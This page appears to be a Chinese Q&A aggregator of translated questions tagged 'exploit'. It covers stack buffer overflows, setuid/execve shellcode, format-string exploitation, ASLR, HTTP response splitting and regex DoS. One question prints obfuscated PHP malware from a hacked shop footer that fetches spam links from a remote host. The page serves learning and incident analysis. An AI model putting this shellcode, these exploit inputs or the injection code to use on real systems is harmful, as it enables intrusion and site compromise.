标签: exploit

故意缓冲区溢出漏洞程序

我正在尝试为我的一个comp sci课程找出这个问题,我已经利用了所有资源但仍有问题,如果有人能提供一些见解,我会非常感激.

我有这个"目标"我需要执行缓冲区溢出漏洞的execve("/ bin/sh").在buf [128]的溢出中,当执行unsafe命令strcpy时,返回缓冲区的指针出现在系统期望找到返回地址的位置.

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}
Run Code Online (Sandbox Code Playgroud)

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, …
Run Code Online (Sandbox Code Playgroud)

buffer exploit buffer-overflow shellcode

5
推荐指数
1
解决办法
2475
查看次数

如何解释以下shellcode漏洞的行为?

这是一个利用缓冲区溢出漏洞的shellcode.它使用设置setuid(0)和生成shell execve().以下是我解释它的方式:

xor    %ebx,%ebx       ; Xoring to make ebx value 0
lea    0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int    $0x80           ; interrupt
push   %ebx            ; push ebx
push   $0x68732f6e     ; push address // why this address only????
push   $0x69622f2f     ; push address // same question
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
cltd                   ; mov execve sys call into al
mov    $0xb,%al
int    $0x80           ; interrupt
Run Code Online (Sandbox Code Playgroud)

谁能清楚地解释整个步骤?

x86 assembly exploit buffer-overflow shellcode

5
推荐指数
1
解决办法
4498
查看次数

这段代码是漏洞吗?这段代码是什么?

我正在寻找被某人/某事利用过的网站.该网站有一大堆链接注入其页脚,链接到制药摊位,谁知道还有什么.页脚顶部有很多链接.我现在只能在Yahoo索引的缓存页面上找到它们.谷歌仍然不喜欢该网站,并且现场网站不再显示任何链接.这是给客户的.所以我大部分都知道我被告知了什么,以及我能找到的其他明智之处.

我在footer.php(它是一个OsCommerse站点)的'tip/top'找到了这段代码:

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>
Run Code Online (Sandbox Code Playgroud)

当我查看具有"Bad"链接的源缓存页面时,此代码适合我在footer.php源中找到它的位置.对谷歌的一点研究表明,有类似代码的漏洞.

您如何看待,当我在自己的服务器上运行时,我得到的只是源中的回显注释,如下所示:

<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> …
Run Code Online (Sandbox Code Playgroud)

php exploit shellcode

5
推荐指数
1
解决办法
946
查看次数

PHP免疫"HTTP响应拆分"漏洞吗?

<?php
setcookie('test', "test\r\n<script>alert(1)</script>");
echo 1;
Run Code Online (Sandbox Code Playgroud)

但事实证明PHP自动执行编码:

Set-Cookie: test=test%0D%0A%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Run Code Online (Sandbox Code Playgroud)

这是否意味着在PHP中重现HTTP响应拆分是不可能的?

php security exploit http-headers

5
推荐指数
1
解决办法
1859
查看次数

查找堆栈缓冲区溢出

我已经阅读了有关Stack Buffer Overflows和Heap溢出的5篇论文/文章和2个视频.我编写了一个容易被溢出和利用的程序,在端口7777上运行了一个易受攻击,溢出和利用的服务器.但我不明白的是如何在Windows(或其他操作系统)或软件中查找漏洞.我正在使用gcc和gdb进行调试,以找到编写漏洞所需的一切.如何在其他程序/软件上找到Stack Buffer Overflow漏洞,如何调试易受攻击的程序或者我可以使用gdb?

c memory stack-overflow heap exploit

5
推荐指数
1
解决办法
5124
查看次数

通过使用共享页面确定库地址来绕过Windows ASLR

我对ASLR非常熟悉,但今天我听到了一个关于在Windows中实现ASLR的新的有趣事实.

为了优化性能,如果进程A和B加载相同的dll,Windows只会将其加载一次到物理内存,并且两个进程将通过共享页面共享同一个实例.

这是旧闻.但有趣的是,进程A和B都将在同一个虚拟地址中加载共享库(为什么??).

在我看来,任何本地攻击(例如权限提升)都可以通过以下方式轻松绕过ASLR:

1. Create a new dummy process
2. Check the address of dlls of interest (kernel32, user32 ..)
3. Attack the privileged process and bypass ASLR with the information from step 2.
Run Code Online (Sandbox Code Playgroud)

我使用Olly做了一些简单的测试,发现共享库确实加载在同一个虚拟地址中.

如果确实如此,那么ASLR对于本地开发是否无用?

windows security exploit reverse-engineering aslr

5
推荐指数
1
解决办法
927
查看次数

格式字符串漏洞以segfault结尾

我正在阅读"黑客 - 剥削艺术"一书.

这是我用于利用格式字符串的代码的简化版本.

/* fmt_vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[]){
  char text [1024];

  if (argc < 2){
    printf ("Usage: %s <text to print>\n", argv[0]);
    exit (0);
  }
  strcpy (text, argv[1]);
  printf ("The wrong way to print user-controlled input:\n");
  printf (text);
  printf ("\n");
  return 0;
}
Run Code Online (Sandbox Code Playgroud)

我运行这个命令:

./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
Run Code Online (Sandbox Code Playgroud)

我有:

The wrong way to print user-controlled input:
AAAA59055000.58e347a0.58b68620.ffffffff.00000000.fba56ac8.58a9fc58.41414141
Run Code Online (Sandbox Code Playgroud)

所以,我看到第8个格式参数是从格式字符串的开头读取的.

然后,当我运行命令时:

./getenv PATH ./fmt_vuln
Run Code Online (Sandbox Code Playgroud)

我得到了地址:

0x7ffe2a673d84
Run Code Online (Sandbox Code Playgroud)

所以我试着运行:(为了打印PATH变量)

./fmt_vuln $(printf "\x84\x3d\x67\x2a\xfe\x7f")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%s
Run Code Online (Sandbox Code Playgroud)

我有:

The wrong …
Run Code Online (Sandbox Code Playgroud)

c formatting exploit path environment-variables

5
推荐指数
1
解决办法
982
查看次数

缓冲区溢出漏洞利用示例

我正在研究一些缓冲区溢出漏洞利用示例,并编写了一个基本的易受攻击的C应用程序来测试:(目标和攻击者是相同的Kali 2机器并运行"echo"0">/proc/sys/kernel/randomize_va_space")

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if (argc != 2)
        {
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}
Run Code Online (Sandbox Code Playgroud)

现在,通过在GDB中进行一些测试,我可以通过在缓冲区中放入260个字节来导致seg错误:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
Run Code Online (Sandbox Code Playgroud)

寄存器显示:

eax            0x105    261
ecx            0xffffd300   -11520
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0xffffd300   0xffffd300
ebp            0x0  0x0
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 …
Run Code Online (Sandbox Code Playgroud)

c assembly exploit buffer-overflow

5
推荐指数
1
解决办法
1972
查看次数

为什么Go中的堆可执行?

我最近阅读了这篇文章http://codearcana.com/posts/2012/05/06/securing-and-exploiting-go-binaries.html ,它在Go中声称堆是可执行的.这为我提出了一些关于运行时和操作系统之间交互的不同问题.

在C中,当程序需要堆上的空间时,它会调用malloc,而malloc又调用sbrk来为它提供内存.据我所知,在C中,堆只是读写.

为什么Go中的堆可执行?应用程序有什么不同 - Go中的操作系统交互然后在C中?

谢谢

operating-system exploit memory-management heap-memory go

5
推荐指数
2
解决办法
166
查看次数

MongoDB $ regex查询和潜在漏洞

我们有一个REST API,用于查询MongoDB中的记录。很简单,遵循以下步骤:

GET /api/items?q=foo
Run Code Online (Sandbox Code Playgroud)

在开发过程中,允许使用正则表达式作为查询很方便q。我们只是将查询参数传递给MongoDB $regex运算符,而不进行任何转义:

db.getCollection('items').find({ name: { $regex: req.query.q, $options: 'i' } });
Run Code Online (Sandbox Code Playgroud)

因此,我们有一种非常灵活方便的查询数据的方式。现在,事情变得“严重”,即接近生产,我在问自己有关安全性的问题。有人可以通过昂贵的回溯发送“ DoS”查询吗?

我可能没有足够的破坏力来考虑这样的查询,因此我已经在Internet上搜索并发现了这一非常有趣的读物,其中提到了几种攻击:爆炸性量词陷阱

舍弃这一事实,即上一页中提到的查询的行为远没有达到预期的“灾难性”(无论是在MongoDB查询中,还是在在线工具(例如regex101.com中)),我仍然想知道:

  1. 这是一个真正的问题还是我在追逐不存在的威胁?
  2. 我们是否应该更好地完全摆脱正则表达式参数?
  3. MongoDB是否具有任何机制(即超时)来防止通过恶意正则表达式进行DoS攻击?(前瞻:我们正在Node.js环境中运行)
  4. 在发出查询之前,是否有任何库可检测到此类攻击?

regex exploit backtracking mongodb

5
推荐指数
1
解决办法
356
查看次数